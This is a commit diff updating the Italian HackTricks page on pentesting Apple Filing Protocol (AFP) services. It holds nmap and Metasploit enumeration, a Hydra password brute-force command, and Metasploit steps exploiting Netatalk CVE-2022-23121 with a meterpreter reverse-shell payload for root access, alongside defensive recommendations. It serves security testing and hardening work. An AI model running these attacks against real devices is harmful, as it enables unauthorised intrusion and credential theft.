mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['src/network-services-pentesting/584-pentesting-afp.md'] to
This commit is contained in:
parent
d583f68f36
commit
c29e6aad24
@ -4,27 +4,109 @@
|
|||||||
|
|
||||||
## Informazioni di base
|
## Informazioni di base
|
||||||
|
|
||||||
Il **Apple Filing Protocol** (**AFP**), un tempo noto come AppleTalk Filing Protocol, è un protocollo di rete specializzato incluso nel **Apple File Service** (**AFS**). È progettato per fornire servizi di file per macOS e il classico Mac OS. AFP si distingue per il supporto dei nomi di file Unicode, delle autorizzazioni POSIX e delle liste di controllo degli accessi, dei resource forks, degli attributi estesi nominati e di meccanismi di blocco dei file sofisticati. È stato il protocollo principale per i servizi di file in Mac OS 9 e versioni precedenti.
|
Il **Apple Filing Protocol** (**AFP**), un tempo noto come AppleTalk Filing Protocol, è un protocollo di rete specializzato incluso all'interno del **Apple File Service** (**AFS**). È progettato per fornire servizi di file per macOS e il classico Mac OS. AFP si distingue per il supporto dei nomi di file Unicode, delle autorizzazioni in stile POSIX e ACL, dei resource forks, degli attributi estesi nominati e di meccanismi di blocco dei file sofisticati.
|
||||||
|
|
||||||
**Porta predefinita:** 548
|
Sebbene AFP sia stato superato da SMB nelle versioni moderne di macOS (SMB è il predefinito dalla versione OS X 10.9), è ancora presente in:
|
||||||
|
|
||||||
|
* Ambienti legacy di macOS / Mac OS 9
|
||||||
|
* Dispositivi NAS (QNAP, Synology, Western Digital, TrueNAS…) che integrano il demone open-source **Netatalk**
|
||||||
|
* Reti miste di sistemi operativi dove Time-Machine-over-AFP è ancora abilitato
|
||||||
|
|
||||||
|
**Porta TCP predefinita:** **548** (AFP su TCP / DSI)
|
||||||
```bash
|
```bash
|
||||||
PORT STATE SERVICE
|
PORT STATE SERVICE
|
||||||
548/tcp open afp
|
548/tcp open afp
|
||||||
```
|
```
|
||||||
### **Enumerazione**
|
---
|
||||||
|
|
||||||
Per l'enumerazione dei servizi AFP, i seguenti comandi e script sono utili:
|
## Enumerazione
|
||||||
|
|
||||||
|
### Informazioni rapide su banner / server
|
||||||
```bash
|
```bash
|
||||||
msf> use auxiliary/scanner/afp/afp_server_info
|
# Metasploit auxiliary
|
||||||
nmap -sV --script "afp-* and not dos and not brute" -p <PORT> <IP>
|
use auxiliary/scanner/afp/afp_server_info
|
||||||
|
run RHOSTS=<IP>
|
||||||
|
|
||||||
|
# Nmap NSE
|
||||||
|
nmap -p 548 -sV --script "afp-* and not dos" <IP>
|
||||||
```
|
```
|
||||||
**Script e Loro Descrizioni:**
|
Utili script NSE per AFP:
|
||||||
|
|
||||||
- **afp-ls**: Questo script viene utilizzato per elencare i volumi e i file AFP disponibili.
|
| Script | Cosa fa |
|
||||||
- **afp-path-vuln**: Elenca tutti i volumi e i file AFP, evidenziando potenziali vulnerabilità.
|
|--------|--------------|
|
||||||
- **afp-serverinfo**: Fornisce informazioni dettagliate sul server AFP.
|
| **afp-ls** | Elenca i volumi e i file AFP disponibili |
|
||||||
- **afp-showmount**: Elenca le condivisioni AFP disponibili insieme ai rispettivi ACL.
|
| **afp-brute** | Attacco di forza bruta della password contro il login AFP |
|
||||||
|
| **afp-serverinfo** | Estrae il nome del server, il tipo di macchina, la versione AFP, gli UAM supportati, ecc. |
|
||||||
|
| **afp-showmount** | Elenca le condivisioni insieme alle loro ACL |
|
||||||
|
| **afp-path-vuln** | Rileva (e può sfruttare) la traversata delle directory, CVE-2010-0533 |
|
||||||
|
|
||||||
### [**Brute Force**](../generic-hacking/brute-force.md#afp)
|
Lo script di forza bruta NSE può essere combinato con Hydra/Medusa se è necessario un maggiore controllo:
|
||||||
|
```bash
|
||||||
|
hydra -L users.txt -P passwords.txt afp://<IP>
|
||||||
|
```
|
||||||
|
### Interagire con le condivisioni
|
||||||
|
|
||||||
|
*macOS*
|
||||||
|
```bash
|
||||||
|
# Finder → Go → "Connect to Server…"
|
||||||
|
# or from terminal
|
||||||
|
mkdir /Volumes/afp
|
||||||
|
mount_afp afp://USER:[email protected]/SHARE /Volumes/afp
|
||||||
|
```
|
||||||
|
*Linux* (utilizzando `afpfs-ng` ‑ incluso nella maggior parte delle distribuzioni)
|
||||||
|
```bash
|
||||||
|
apt install afpfs-ng
|
||||||
|
mkdir /mnt/afp
|
||||||
|
mount_afp afp://USER:[email protected]/SHARE /mnt/afp
|
||||||
|
# or interactive client
|
||||||
|
afp_client <IP>
|
||||||
|
```
|
||||||
|
Una volta montato, ricorda che i classici resource-forks di Mac sono memorizzati come file nascosti `._*` AppleDouble – questi spesso contengono metadati interessanti che gli strumenti DFIR trascurano.
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## Vulnerabilità comuni e sfruttamento
|
||||||
|
|
||||||
|
### Catena RCE non autenticata di Netatalk (2022)
|
||||||
|
|
||||||
|
Diversi fornitori di NAS hanno distribuito **Netatalk ≤3.1.12**. La mancanza di controllo dei limiti in `parse_entries()` consente a un attaccante di creare un'intestazione **AppleDouble** malevola e ottenere **root remoto** prima dell'autenticazione (**CVSS 9.8 – CVE-2022-23121**). Un'analisi completa da parte di NCC Group con PoC che sfrutta Western-Digital PR4100 è disponibile.
|
||||||
|
|
||||||
|
Metasploit (>= 6.3) include il modulo `exploit/linux/netatalk/parse_entries` che consegna il payload tramite DSI `WRITE`.
|
||||||
|
```bash
|
||||||
|
use exploit/linux/netatalk/parse_entries
|
||||||
|
set RHOSTS <IP>
|
||||||
|
set TARGET 0 # Automatic (Netatalk)
|
||||||
|
set PAYLOAD linux/x64/meterpreter_reverse_tcp
|
||||||
|
run
|
||||||
|
```
|
||||||
|
Se il target esegue un firmware QNAP/Synology vulnerabile, un'esploitazione riuscita fornisce una shell come **root**.
|
||||||
|
|
||||||
|
### Overflow del heap OpenSession di Netatalk (2018)
|
||||||
|
|
||||||
|
Le versioni più vecchie di Netatalk (3.0.0 - 3.1.11) sono vulnerabili a una scrittura fuori dai limiti nel gestore **DSI OpenSession**, consentendo l'esecuzione di codice non autenticato (**CVE-2018-1160**). Un'analisi dettagliata e un PoC sono stati pubblicati da Tenable Research.
|
||||||
|
|
||||||
|
### Altri problemi notevoli
|
||||||
|
|
||||||
|
* **CVE-2022-22995** – Redirezione di symlink che porta a scrittura di file arbitrari / RCE quando AppleDouble v2 è abilitato (3.1.0 - 3.1.17).
|
||||||
|
* **CVE-2010-0533** – Traversata di directory in Apple Mac OS X 10.6 AFP (rilevato da `afp-path-vuln.nse`).
|
||||||
|
* Sono stati risolti diversi bug di sicurezza della memoria in **Netatalk 4.x (2024)** – si consiglia di aggiornare piuttosto che applicare patch a singoli CVE.
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## Raccomandazioni difensive
|
||||||
|
|
||||||
|
1. **Disabilitare AFP** a meno che non sia strettamente necessario – utilizzare SMB3 o NFS invece.
|
||||||
|
2. Se AFP deve rimanere, **aggiornare Netatalk a ≥ 3.1.18 o 4.x**, o applicare firmware del fornitore che riporta le patch del 2022/2023/2024.
|
||||||
|
3. Applicare **Strong UAMs** (ad es. *DHX2*), disabilitare accessi in chiaro e guest.
|
||||||
|
4. Limitare TCP 548 a sottoreti fidate e incapsulare AFP all'interno di una VPN quando esposto remotamente.
|
||||||
|
5. Scansionare periodicamente con `nmap -p 548 --script afp-*` in CI/CD per catturare dispositivi non autorizzati / downgradati.
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
### [Brute-Force](../generic-hacking/brute-force.md#afp)
|
||||||
|
|
||||||
|
## Riferimenti
|
||||||
|
|
||||||
|
* Netatalk Security Advisory CVE-2022-23121 – "Esecuzione di codice arbitrario in parse_entries" <https://netatalk.io/security/CVE-2022-23121>
|
||||||
|
* Tenable Research – "Sfruttare un bug di 18 anni (CVE-2018-1160)" <https://medium.com/tenable-techblog/exploiting-an-18-year-old-bug-b47afe54172>
|
||||||
{{#include ../banners/hacktricks-training.md}}
|
{{#include ../banners/hacktricks-training.md}}
|
||||||
|
Loading…
x
Reference in New Issue
Block a user